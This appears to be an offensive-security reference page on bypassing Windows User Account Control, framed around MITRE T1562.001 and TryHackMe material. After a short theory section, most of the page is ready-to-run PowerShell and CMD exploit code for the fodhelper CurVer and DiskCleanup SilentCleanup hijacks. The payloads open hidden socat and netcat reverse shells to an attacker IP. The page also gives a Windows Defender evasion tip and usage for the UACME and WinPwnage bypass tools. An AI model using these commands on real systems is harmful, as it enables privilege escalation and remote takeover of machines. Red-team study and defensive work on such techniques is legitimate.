UAC Bypass

MITRE ATT&CK™ Impair Defenses: Disable or Modify Tools - Technique T1562.001

Theory

The User Account Control UAC. Its a Windows security feature that forces any new process to run in the security context of a non-privileged account by default..

Integrity Levels

UAC is a Mandatory Integrity Control (MIC), which is a mechanism that allows differentiating users, processes and resources by assigning an Integrity Level (IL) to each of them. In general terms, users or processes with a higher IL access token will be able to access resources with lower or equal ILs. MIC takes precedence over regular Windows DACLs The following 4 ILs are used by Windows, ordered from lowest to highest:

Integrity Level	Use
Low	Very limited permissions
Medium	users and Administrators' filtered tokens.
High	Administrators' elevated tokens if UAC is enabled.
System	Reserved for system use.

AutoElevate

some executables can auto-elevate, achieving high IL without any user intervention. This applies to most of the Control Panel's functionality and some executables provided with Windows. For an application, some requirements need to be met to auto-elevate: - The executable must be signed by the Windows Publisher - The executable must be contained in a trusted directory, like %SystemRoot%/System32/ or %ProgramFiles%/ - Executable files (.exe) must declare the autoElevate element inside their manifests. To check a file's manifest, we can use sigcheck.

Indeed we can leverage this executables to bypass UAC. Let's dive in:

if UAC is configured on the "Always Notify" level, fodhelper and similar apps won't be of any use as they will require the user to go through the UAC prompt to elevate.

Practice

Microsoft doesn't consider UAC a security boundary but rather a simple convenience to the administrator to avoid unnecessarily running processes with administrative privileges. In that sense any bypass technique is not considered a vulnerability to Microsoft, and therefore some of them remain unpatched to this day.

Using ProgID and AutoElevate binary to bypass UAC

We will create an entry on the registry for a new progID of our choice (any name will do) and then point the CurVer entry in the ms-settings progID to our newly created progID. This way, when fodhelper tries opening a file using the ms-settings progID, it will notice the CurVer entry pointing to our new progID and check it to see what command to use.

Powershell

The exploit code is proposed by V3ded

# Using socat
$program = "powershell -windowstyle hidden C:\tools\socat\socat TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"
# Or using netcat
$program = "powershell -windowstyle hidden C:\Windows\Temp\nc64 192.168.49.113 443 -e cmd.exe"

New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
    
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
    
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

Detected by Windowds Defender

Note that we removed the .exe extension in an attempt to evade Windows Defender (e.g. using nc64 instead of nc64.exe). By omitting the extension, Windows will still execute the binary.

We may clean-up as follows

Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

CMD

V3ded exploit converted in CMD by TryHackMe

C:\> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes"

C:\> reg add "HKCU\Software\Classes\.thm\Shell\Open\command" /d %CMD% /f
The operation completed successfully.

C:\> reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".thm" /f
The operation completed successfully.

C:\> fodhelper.exe

DiskCleanup Scheduled Task to bypass UAC

Originally discovered discovered in 2017 by James Forshaw from Google Project Zero, the "DiskCleanup Bypass" take advantage of the SilentCleanup scheduled task, which is configured on Windows by default.This tasks can be started from a process with a medium integrity level, and then automatically elevates to a high integrity level since the "Run with highest privileges" option is enabled.

SilentCleanup launches cleanmgr.exe using the %windir% environment variable. By modifying %windir%, we can control what gets executed.

PowerShell

We can abuse it as follows

Set-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Value "cmd.exe /K C:\Windows\Tasks\nc64.exe <IP> <PORT> & REM " -Force
Start-ScheduledTask -TaskPath "\Microsoft\Windows\DiskCleanup" -TaskName "SilentCleanup"

We may clean-up as follows

Clear-ItemProperty -Path "HKCU:\Environment" -Name "windir" -Force

CMD

We can abuse it as follows

reg add "HKCU\Environment" /v windir /t REG_SZ /d "cmd.exe /K C:\Windows\Tasks\nc64.exe <IP> <PORT> & REM " /f
schtasks /run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup"

We may clean-up as follows

reg delete "HKCU\Environment" /v windir /f

Automated Exploitation

UACME

While UACME provides several tools, we will focus mainly on the one called Akagi, which runs the actual UAC bypasses If you want to test for method 33, you can do the following from a command prompt, and a high integrity cmd.exe will pop up:

C:\tools>UACME-Akagi64.exe 33

Method Id	Bypass technique
33	fodhelper.exe
34	DiskCleanup scheduled task
70	fodhelper.exe using CurVer registry key

WinPwnage

WinPwnage (Python) implement multiple UAC bypass methods:

# Scan for UAC Bypass
main.py --scan uac

# UAC bypass using runas
main.py --use uac --id 1 --payload c:\\windows\\system32\\cmd.exe

# UAC bypass using fodhelper.exe
main.py --use uac --id 2 --payload c:\\windows\\system32\\cmd.exe

# UAC bypass using cmstp.exe
main.py --use uac --id 13 --payload c:\\windows\\system32\\cmd.exe

Resources

TryHackMe | Bypassing UACTryHackMe

GitHub - hfiref0x/UACME: Defeating Windows User Account ControlGitHub

Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses